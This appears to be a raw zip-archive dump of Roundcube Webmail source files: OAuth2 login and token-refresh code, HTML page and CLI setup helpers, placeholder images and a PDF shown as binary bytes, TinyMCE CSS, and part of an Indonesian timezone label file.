            $charsets[$set] = $set;
        }

        $select = new html_select($field_attrib);
        $select->add(array_values($charsets), array_keys($charsets));

        return $select->show($set);
    }

    /**
     * Include content from config/about.<LANG>.html if available
     */
    protected function about_content($attrib)
    {
        $content = '';
        $filenames = [
            'about.' . $_SESSION['language'] . '.html',
            'about.' . substr($_SESSION['language'], 0, 2) . '.html',
            'about.html',
        ];

        foreach ($filenames as $file) {
            $fn = RCUBE_CONFIG_DIR . $file;
            if (is_readable($fn)) {
                $content = file_get_contents($fn);
                $content = $this->parse_conditions($content);
                $content = $this->parse_xml($content);
                break;
            }
        }

        return $content;
    }

    /**
     * Get logo URL for current template based on skin_logo config option
     *
     * @param string $type   Type of the logo to check for (e.g. 'print' or 'small')
     *                       default is null (no special type)
     * @param string $match  (optional) 'all' = type, template or wildcard, 'template' = type or template
     *                       Note: when type is specified matches are limited to type only unless $match is defined
     *
     * @return string image URL
     */
    protected function get_template_logo($type = null, $match = null)
    {
        $template_logo = null;

        if ($logo = $this->config->get('skin_logo')) {
            if (is_array($logo)) {
                $template_names = [
                    $this->skin_name . ':' . $this->template_name . '[' . $type . ']',
                    $this->skin_name . ':' . $this->template_name,
                    $this->skin_name . ':*[' . $type . ']',
                    $this->skin_name . ':[' . $type . ']',
                    $this->skin_name . ':*',
                    '*:' . $this->template_name . '[' . $type . ']',
                    '*:' . $this->template_name,
                    '*:*[' . $type . ']',
                    '*:[' . $type . ']',
                    $this->template_name . '[' . $type . ']',
                    $this->template_name,
                    '*[' . $type . ']',
                    '[' . $type . ']',
                    '*',
                ];

                if (empty($type)) {
                    // If no type provided then remove those options from the list
                    $template_names = preg_grep("/\]$/", $template_names, PREG_GREP_INVERT);
                }
                elseif ($match === null) {
                    // Type specified with no special matching requirements so remove all none type specific options from the list
                    $template_names = preg_grep("/\]$/", $template_names);
                }

                if ($match == 'template') {
                    // Match only specific type or template name
                    $template_names = preg_grep("/\*$/", $template_names, PREG_GREP_INVERT);
                }

                foreach ($template_names as $key) {
                    if (isset($logo[$key])) {
                        $template_logo = $logo[$key];
                        break;
                    }
                }
            }
            else if ($type != 'link') {
                $template_logo = $logo;
            }
        }

        return $template_logo;
    }
}
PK
h�\|��YhOhO program/include/rcmail_oauth.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | CONTENTS:                                                             |
 |   Roundcube OAuth2 utilities                                          |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

use GuzzleHttp\Client;
use GuzzleHttp\MessageFormatter;
use GuzzleHttp\Exception\RequestException;

/**
 * Roundcube OAuth2 utilities
 *
 * @package    Webmail
 * @subpackage Utils
 */
class rcmail_oauth
{
    /** @var rcmail */
    protected $rcmail;

    /** @var array */
    protected $options = [];

    /** @var string */
    protected $last_error = null;

    /** @var bool */
    protected $no_redirect = false;

    /** @var rcmail_oauth */
    static protected $instance;

    /**
     * Singleton factory
     *
     * @return rcmail_oauth The one and only instance
     */
    static function get_instance($options = [])
    {
        if (!self::$instance) {
            self::$instance = new rcmail_oauth($options);
            self::$instance->init();
        }

        return self::$instance;
    }

    /**
     * Object constructor
     *
     * @param array $options Config options:
     */
    public function __construct($options = [])
    {
        $this->rcmail  = rcmail::get_instance();
        $this->options = (array) $options + [
            'provider'        => $this->rcmail->config->get('oauth_provider'),
            'auth_uri'        => $this->rcmail->config->get('oauth_auth_uri'),
            'token_uri'       => $this->rcmail->config->get('oauth_token_uri'),
            'client_id'       => $this->rcmail->config->get('oauth_client_id'),
            'client_secret'   => $this->rcmail->config->get('oauth_client_secret'),
            'identity_uri'    => $this->rcmail->config->get('oauth_identity_uri'),
            'identity_fields' => $this->rcmail->config->get('oauth_identity_fields', ['email']),
            'scope'           => $this->rcmail->config->get('oauth_scope'),
            'verify_peer'     => $this->rcmail->config->get('oauth_verify_peer', true),
            'auth_parameters' => $this->rcmail->config->get('oauth_auth_parameters', []),
            'login_redirect'  => $this->rcmail->config->get('oauth_login_redirect', false),
        ];
    }

    /**
     * Initialize this instance
     *
     * @return void
     */
    protected function init()
    {
        // subscribe to storage and smtp init events
        if ($this->is_enabled()) {
            $this->rcmail->plugins->register_hook('storage_init', [$this, 'storage_init']);
            $this->rcmail->plugins->register_hook('smtp_connect', [$this, 'smtp_connect']);
            $this->rcmail->plugins->register_hook('managesieve_connect', [$this, 'managesieve_connect']);
            $this->rcmail->plugins->register_hook('logout_after', [$this, 'logout_after']);
            $this->rcmail->plugins->register_hook('login_failed', [$this, 'login_failed']);
            $this->rcmail->plugins->register_hook('unauthenticated', [$this, 'unauthenticated']);
            $this->rcmail->plugins->register_hook('refresh', [$this, 'refresh']);
        }
    }

    /**
     * Check if OAuth is generally enabled in config
     *
     * @return bool
     */
    public function is_enabled()
    {
        return !empty($this->options['provider']) &&
            !empty($this->options['token_uri']) &&
            !empty($this->options['client_id']);
    }

    /**
     * Compose a fully qualified redirect URI for auth requests
     *
     * @return string
     */
    public function get_redirect_uri()
    {
        $url = $this->rcmail->url([], true, true);

        // rewrite redirect URL to not contain query parameters because some providers do not support this
        $url = preg_replace('/\?.*/', '', $url);

        return slashify($url) . 'index.php/login/oauth';
    }

    /**
     * Getter for the last error occurred
     *
     * @return mixed
     */
    public function get_last_error()
    {
        return $this->last_error;
    }

    /**
     * Helper method to decode a JWT
     * 
     * @param string $jwt
     * @return array Hash array with decoded body
     */
    public function jwt_decode($jwt)
    {
        list($headb64, $bodyb64, $cryptob64) = explode('.', strtr($jwt, '-_', '+/'));

        $header = json_decode(base64_decode($headb64), true);
        $body   = json_decode(base64_decode($bodyb64), true);

        if (isset($body['azp']) && $body['azp'] !== $this->options['client_id']) {
            throw new RuntimeException('Failed to validate JWT: invalid azp value');
        }
        else if (isset($body['aud']) && !in_array($this->options['client_id'], (array) $body['aud'])) {
            throw new RuntimeException('Failed to validate JWT: invalid aud value');
        }
        else if (!isset($body['azp']) && !isset($body['aud'])) {
            throw new RuntimeException('Failed to validate JWT: missing aud/azp value');
        }

        return $body;
    }

    /**
     * Login action: redirect to `oauth_auth_uri`
     *
     * @return void
     */
    public function login_redirect()
    {
        if (!empty($this->options['auth_uri']) && !empty($this->options['client_id'])) {
            // create a secret string
            $_SESSION['oauth_state'] = rcube_utils::random_bytes(12);

            // compose full oauth login uri
            $delimiter = strpos($this->options['auth_uri'], '?') > 0 ? '&' : '?';
            $query = http_build_query([
                'response_type' => 'code',
                'client_id'     => $this->options['client_id'],
                'scope'         => $this->options['scope'],
                'redirect_uri'  => $this->get_redirect_uri(),
                'state'         => $_SESSION['oauth_state'],
            ] + (array) $this->options['auth_parameters']);
            $this->rcmail->output->redirect($this->options['auth_uri'] . $delimiter . $query);  // exit
        }
        else {
            // log error about missing config options
            rcube::raise_error([
                    'message' => "Missing required OAuth config options 'oauth_auth_uri', 'oauth_client_id'",
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                ], true, false
            );
        }
    }

    /**
     * Request access token with auth code returned from oauth login
     *
     * @param string $auth_code
     * @param string $state
     *
     * @return array Authorization data as hash array with entries
     *   `username` as the authentication user name
     *   `authorization` as the oauth authorization string "<type> <access-token>"
     *   `token` as the complete oauth response to be stored in session
     */
    public function request_access_token($auth_code, $state = null)
    {
        $oauth_token_uri     = $this->options['token_uri'];
        $oauth_client_id     = $this->options['client_id'];
        $oauth_client_secret = $this->options['client_secret'];
        $oauth_identity_uri  = $this->options['identity_uri'];

        if (!empty($oauth_token_uri) && !empty($oauth_client_secret)) {
            try {
                // validate state parameter against $_SESSION['oauth_state']
                if (!empty($_SESSION['oauth_state']) && $_SESSION['oauth_state'] !== $state) {
                    throw new RuntimeException('Invalid state parameter');
                }

                // send token request to get a real access token for the given auth code
                $client = new Client([
                    'timeout' => 10.0,
                    'verify' => $this->options['verify_peer'],
                ]);

                $response = $client->post($oauth_token_uri, [
                        'form_params'       => [
                            'code'          => $auth_code,
                            'client_id'     => $oauth_client_id,
                            'client_secret' => $oauth_client_secret,
                            'redirect_uri'  => $this->get_redirect_uri(),
                            'grant_type'    => 'authorization_code',
                        ],
                ]);

                $data = \GuzzleHttp\json_decode($response->getBody(), true);

                // auth success
                if (!empty($data['access_token'])) {
                    $username = null;
                    $identity = null;
                    $authorization = sprintf('%s %s', $data['token_type'], $data['access_token']);

                    // decode JWT id_token if provided
                    if (!empty($data['id_token'])) {
                        try {
                            $identity = $this->jwt_decode($data['id_token']);
                            foreach ($this->options['identity_fields'] as $field) {
                                if (isset($identity[$field])) {
                                    $username = $identity[$field];
                                    break;
                                }
                            }
                        } catch (\Exception $e) {
                            // log error
                            rcube::raise_error([
                                    'message' => $e->getMessage(),
                                    'file'    => __FILE__,
                                    'line'    => __LINE__,
                                ], true, false
                            );
                        }
                    }

                    // request user identity (email)
                    if (empty($username) && !empty($oauth_identity_uri)) {
                        $identity_response = $client->get($oauth_identity_uri, [
                                'headers' => [
                                    'Authorization' => $authorization,
                                    'Accept' => 'application/json',
                                ],
                        ]);

                        $identity = \GuzzleHttp\json_decode($identity_response->getBody(), true);

                        foreach ($this->options['identity_fields'] as $field) {
                            if (isset($identity[$field])) {
                                $username = $identity[$field];
                                break;
                            }
                        }
                    }

                    $data['identity'] = $username;
                    $this->mask_auth_data($data);

                    $this->rcmail->session->remove('oauth_state');

                    $this->rcmail->plugins->exec_hook('oauth_login', array_merge($data, [
                        'username' => $username,
                        'identity' => $identity,
                    ]));

                    // remove some data we don't want to store in session
                    unset($data['id_token']);

                    // return auth data
                    return [
                        'username'      => $username,
                        'authorization' => $authorization,
                        'token'         => $data,
                    ];
                }
                else {
                    throw new Exception('Unexpected response from OAuth service');
                }
            }
            catch (RequestException $e) {
                $this->last_error = "OAuth token request failed: " . $e->getMessage();
                $this->no_redirect = true;
                $formatter = new MessageFormatter();

                rcube::raise_error([
                        'message' => $this->last_error . '; ' . $formatter->format($e->getRequest(), $e->getResponse()),
                        'file'    => __FILE__,
                        'line'    => __LINE__,
                    ], true, false
                );

                return false;
            }
            catch (Exception $e) {
                $this->last_error = "OAuth token request failed: " . $e->getMessage();
                $this->no_redirect = true;

                rcube::raise_error([
                        'message' => $this->last_error,
                        'file'    => __FILE__,
                        'line'    => __LINE__,
                    ], true, false
                );

                return false;
            }
        }
        else {
            $this->last_error = "Missing required OAuth config options 'oauth_token_uri', 'oauth_client_id', 'oauth_client_secret'";

            rcube::raise_error([
                    'message' => $this->last_error,
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                ], true, false
            );

            return false;
        }
    }

    /**
     * Obtain a new access token using the refresh_token grant type
     *
     * If successful, this will update the `oauth_token` entry in
     * session data.
     *
     *
     * @return array Updated authorization data
     */
    public function refresh_access_token(array $token)
    {
        $oauth_token_uri     = $this->options['token_uri'];
        $oauth_client_id     = $this->options['client_id'];
        $oauth_client_secret = $this->options['client_secret'];

        // send token request to get a real access token for the given auth code
        try {
            $client = new Client([
                'timeout' => 10.0,
                'verify' => $this->options['verify_peer'],
            ]);
            $response = $client->post($oauth_token_uri, [
                    'form_params' => [
                        'client_id'     => $oauth_client_id,
                        'client_secret' => $oauth_client_secret,
                        'refresh_token' => $this->rcmail->decrypt($token['refresh_token']),
                        'grant_type'    => 'refresh_token',
                    ],
            ]);
            $data = \GuzzleHttp\json_decode($response->getBody(), true);

            // auth success
            if (!empty($data['access_token'])) {
                // update access token stored as password
                $authorization = sprintf('%s %s', $data['token_type'], $data['access_token']);
                $_SESSION['password'] = $this->rcmail->encrypt($authorization);

                $this->mask_auth_data($data);

                // update session data
                $_SESSION['oauth_token'] = array_merge($token, $data);

                $this->rcmail->plugins->exec_hook('oauth_refresh_token', $data);

                return [
                    'token' => $data,
                    'authorization' => $authorization,
                ];
            }
        }
        catch (RequestException $e) {
            $this->last_error = "OAuth refresh token request failed: " . $e->getMessage();
            $formatter = new MessageFormatter();
            rcube::raise_error([
                    'message' => $this->last_error . '; ' . $formatter->format($e->getRequest(), $e->getResponse()),
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                ], true, false
            );

            // refrehsing token failed, mark session as expired
            if ($e->getCode() >= 400 && $e->getCode() < 500) {
                $this->rcmail->kill_session();
            }

            return false;
        }
        catch (Exception $e) {
            $this->last_error = "OAuth refresh token request failed: " . $e->getMessage();
            rcube::raise_error([
                    'message' => $this->last_error,
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                ], true, false
            );

            return false;
        }
    }

    /**
     * Modify some properties of the received auth response
     *
     * @param array $data
     * @return void
     */
    protected function mask_auth_data(&$data)
    {
        // compute absolute token expiration date
        $data['expires'] = time() + $data['expires_in'] - 10;

        // encrypt refresh token if provided
        if (isset($data['refresh_token'])) {
            $data['refresh_token'] = $this->rcmail->encrypt($data['refresh_token']);
        }
    }

    /**
     * Check the given access token data if still valid
     *
     * ... and attempt to refresh if possible.
     *
     * @param array $token
     * @return bool
     */
    protected function check_token_validity($token)
    {
        if ($token['expires'] < time() && isset($token['refresh_token']) && empty($this->last_error)) {
            return $this->refresh_access_token($token) !== false;
        }
        return false;
    }

    /**
     * Callback for 'storage_init' hook
     *
     * @param array $options
     * @return array
     */
    public function storage_init($options)
    {
        if (isset($_SESSION['oauth_token']) && $options['driver'] === 'imap') {
            // check token validity
            if ($this->check_token_validity($_SESSION['oauth_token'])) {
                $options['password'] = $this->rcmail->decrypt($_SESSION['password']);
            }

            // enforce XOAUTH2 authorization type
            $options['auth_type'] = 'XOAUTH2';
        }

        return $options;
    }

    /**
     * Callback for 'smtp_connect' hook
     *
     * @param array $options
     * @return array
     */
    public function smtp_connect($options)
    {
        if (isset($_SESSION['oauth_token'])) {
            // check token validity
            $this->check_token_validity($_SESSION['oauth_token']);

            // enforce XOAUTH2 authorization type
            $options['smtp_user'] = '%u';
            $options['smtp_pass'] = '%p';
            $options['smtp_auth_type'] = 'XOAUTH2';
        }

        return $options;
    }

    /**
     * Callback for 'managesieve_connect' hook
     *
     * @param array $options
     * @return array
     */
    public function managesieve_connect($options)
    {
        if (isset($_SESSION['oauth_token'])) {
            // check token validity
            $this->check_token_validity($_SESSION['oauth_token']);

            // enforce XOAUTH2 authorization type
            $options['auth_type'] = 'XOAUTH2';
        }

        return $options;
    }

    /**
     * Callback for 'logout_after' hook
     *
     * @param array $options
     * @return array
     */
    public function logout_after($options)
    {
        $this->no_redirect = true;
    }

    /**
     * Callback for 'login_failed' hook
     *
     * @param array $options
     * @return array
     */
    public function login_failed($options)
    {
        // no redirect on imap login failures
        $this->no_redirect = true;
        return $options;
    }

    /**
     * Callback for 'unauthenticated' hook
     *
     * @param array $options
     * @return array
     */
    public function unauthenticated($options)
    {
        if (
            $this->options['login_redirect']
            && !$this->rcmail->output->ajax_call
            && !$this->no_redirect
            && empty($options['error'])
            && $options['http_code'] === 200
        ) {
            $this->login_redirect();
        }

        return $options;
    }


    /**
     * Callback for 'refresh' hook
     *
     * @param array $options
     * @return void
     */
    public function refresh($options)
    {
        if (isset($_SESSION['oauth_token'])) {
            $this->check_token_validity($_SESSION['oauth_token']);
        }
    }
}
PK
h�\*`0
0
$program/include/rcmail_html_page.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Render a simple HTML page with the given contents                   |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Class to create an empty HTML page with some default styles
 *
 * @package    Webmail
 * @subpackage View
 */
class rcmail_html_page extends rcmail_output_html
{
    protected $inline_warning;

    /**
     * Process the page content and write to stdOut
     *
     * @param string $contents HTML page content
     */
    public function write($contents = '')
    {
        self::reset(true);

        // load embed.css from skin folder (if exists)
        $embed_css = $this->config->get('embed_css_location', '/embed.css');
        if ($embed_css = $this->get_skin_file($embed_css, $path, null, true)) {
            $this->include_css($embed_css);
        }
        else {  // set default styles for warning blocks inside the attachment part frame
            $this->add_header(html::tag('style', ['type' => 'text/css'],
                ".rcmail-inline-message { font-family: sans-serif; border:2px solid #ffdf0e;"
                                        . "background:#fef893; padding:0.6em 1em; margin-bottom:0.6em }\n" .
                ".rcmail-inline-buttons { margin-bottom:0 }"
            ));
        }

        if (empty($contents)) {
            $contents = '<html><body></body></html>';
        }

        if ($this->inline_warning) {
            $body_start = 0;
            if ($body_pos = strpos($contents, '<body')) {
                $body_start = strpos($contents, '>', $body_pos) + 1;
            }

            $contents = substr_replace($contents, $this->inline_warning, $body_start, 0);
        }

        parent::write($contents);
    }

    /**
     * Add inline warning with optional button
     *
     * @param string $text         Warning content
     * @param string $button_label Button label
     * @param string $button_url   Button URL
     */
    public function register_inline_warning($text, $button_label = null, $button_url = null)
    {
        $text = html::span(null, $text);

        if ($button_label) {
            $onclick = "location.href = '$button_url'";
            $button  = html::tag('button', ['onclick' => $onclick], rcube::Q($button_label));
            $text   .= html::p(['class' => 'rcmail-inline-buttons'], $button);
        }

        $this->inline_warning = html::div(['class' => 'rcmail-inline-message rcmail-inline-warning'], $text);
    }
}
PK
h�\i��xxprogram/include/clisetup.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Setup the command line environment and provide some utility         |
 |   functions.                                                          |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

if (php_sapi_name() != 'cli') {
    die('Not on the "shell" (php-cli).');
}

require_once INSTALL_PATH . 'program/include/iniset.php';

// Unset max. execution time limit, set to 120 seconds in iniset.php
@set_time_limit(0);

$rcmail = rcmail::get_instance();
PK
h�\�7�66program/resources/blank.gifnu�[���GIF89a����!�,@
��������ڋg;PK
h�\�z`program/resources/blank.tiffnu�[���II*�?�O��
)�@�(/home/alec/trunk/roundcubemail/empty.tifHHPK
h�\z��8""program/resources/dummy.pdfnu�[���%PDF-1.4
%����
2 0 obj
<</Type /Catalog
/Pages 1 0 R
>>
endobj
3 0 obj
<</Type /Page
/Parent 1 0 R
/Resources <</ProcSets [/PDF /Text /ImageB /ImageC /ImageI]
/ExtGState <</G0 4 0 R
>>
/XObject <</X0 5 0 R
>>
>>
/MediaBox [0 0 612 792]
/Contents 6 0 R
>>
endobj
6 0 obj
<</Filter /FlateDecode
/Length 131
>> stream
x�3T0B]C ani����U�134�r�+���M�j��ZCrW�0�ҹ��
ҋ�FX�)����H�4
�R@�XŁa1C�zbt}c�.�6��X����#\����9T
endstream
endobj
4 0 obj
<</Type /ExtGState
/CA 1
/ca 1
/LC 0
/LJ 0
/LW 0
/ML 4
/SA true
/BM /Normal
>>
endobj
5 0 obj
<</Type /XObject
/Subtype /Image
/Width 60
/Height 60
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /FlateDecode
/Length 78
>> stream
x��α	ð��tzD�T�g�̤S�ޘ����������������������.���������������������-���
endstream
endobj
1 0 obj
<</Type /Pages
/Count 1
/Kids [3 0 R]
>>
endobj
xref
0 7
0000000000 65535 f 
0000000801 00000 n 
0000000015 00000 n 
0000000063 00000 n 
0000000464 00000 n 
0000000558 00000 n 
0000000262 00000 n 
trailer
<</Size 7
/Root 2 0 R
>>
startxref
857
%%EOFPK
h�\�Mzzprogram/resources/error.htmlnu�[���<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>Internal Error</title>
<style>
div {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  font-family: sans-serif;
}
p.admin {
  font-style: italic;
  font-size: 0.8em;
  color: #888;
}
</style>
</head>
<body>
<div>
  <h1>Oops... something went wrong!</h1>
  <p>An internal error has occurred. Your request cannot be processed at this time.</p>
  <p class="admin">For administrators: Please check the application and/or server error logs for more information.</p>
</div>
</body>
</html>
PK
h�\����VVprogram/resources/blank.webpnu�[���RIFFNWEBPVP8X
ALPH������VP8 0�*%�p��ЀPK
h�\�9�4vvprogram/resources/blocked.gifnu�[���GIF89ad2����!�,d2M��������ڋ�޼���H�扦�ʶ���L�����
�Ģ�L*�̦�	�J�Ԫ���j�ܮ����l+;PK
h�\�AHL��#program/resources/tinymce/video.pngnu�[����PNG


IHDR00W���IDATx�ERCAE�6�a����%�4 �`lwwww�1��}v��^��NՉ���n>B�q��������%geeE�����S�;�1UY(#�Sf�~�=�Y�	��@��i�,�@�{`��+ 4 ��@h+d�
`Wp��S�,j-12F�tdgg�����Ϲ;���B����6��'ssskeP~�݀h7L���u(�f
XdYT�A�����q3����0	ti' ��_�6{�
iiiAhWn��A�H̑F|~8U�j��I�2O@
$��o��UY(#c?����M�>�F��y^���f@��lFw,�̘�������=/�fl0��%Fh�,��u �̺*e4��F����Xc��F�wBÀBs����?�7��J�r���IEND�B`�PK
h�\+�aqq%program/resources/tinymce/browser.cssnu�[���/* This file contains the CSS data for media file selector of TinyMCE */

#image-selector {
	padding-bottom: 85px;
	border: 1px solid transparent;
}

#image-selector.droptarget.hover,
#image-selector.droptarget.active {
	border: 1px solid #019bc6;
}

#image-selector.droptarget.hover {
	background-color: #d9ecf4;
}

#image-selector form {
	position: absolute;
	top: 0;
}

#image-selector .hint {
	line-height: 25px;
	color: #666;
	font-size: 11px;
	text-align: center;
}

#image-selector .upload-form {
	text-align: center;
	margin-bottom: 1rem;
}

#image-selector-list {
	overflow-x: hidden;
	overflow-y: auto;
	padding: 0;
	height: 250px;
}

#image-selector-list li {
	line-height: 80px;
	padding: 3px;
	padding-left: 5px;
	cursor: pointer;
	overflow: hidden;
	text-overflow: ellipsis;
	background: none;
	display:flex;
	align-items: center;
	margin-bottom: 1px;
}

#image-selector-list li:hover,
#image-selector-list li:focus {
	background-color: #F0F0F0;
}

#image-selector-list li img {
	vertical-align: middle;
	max-height: 80px;
}

#image-selector-list li span.name {
	font-weight: bold;
	padding-left: 10px;
}

#image-selector-list li span.img {
	height: 80px;
	width: 80px;
	min-width: 80px;
	text-align: center;
	overflow: hidden;
	line-height: 80px;
	border-radius: 5px;
	display: flex;
	align-items: center;
	justify-content: center;
	background: #fff;
	border: 1px solid #ddd;
}
PK
h�\�Z�4{{%program/resources/tinymce/content.cssnu�[���/* This file contains the CSS data for the editable area(iframe) of TinyMCE */

body, td, pre {
	font-family: "Lucida Grande", Verdana,  Arial, Helvetica, sans-serif;
	font-size: 12px;
}

body {
	background-color: #fff;
	margin: 4px;
}

div.pre {
	margin: 0;
	padding: 0;
	font-family: monospace;
}

blockquote
{
	border-left: #1010ff 2px solid;
	margin: 0;
	padding: 0 0.4em;
}
PK
h�\��тN�N(program/localization/id_ID/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Algiers';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Cairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'America';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
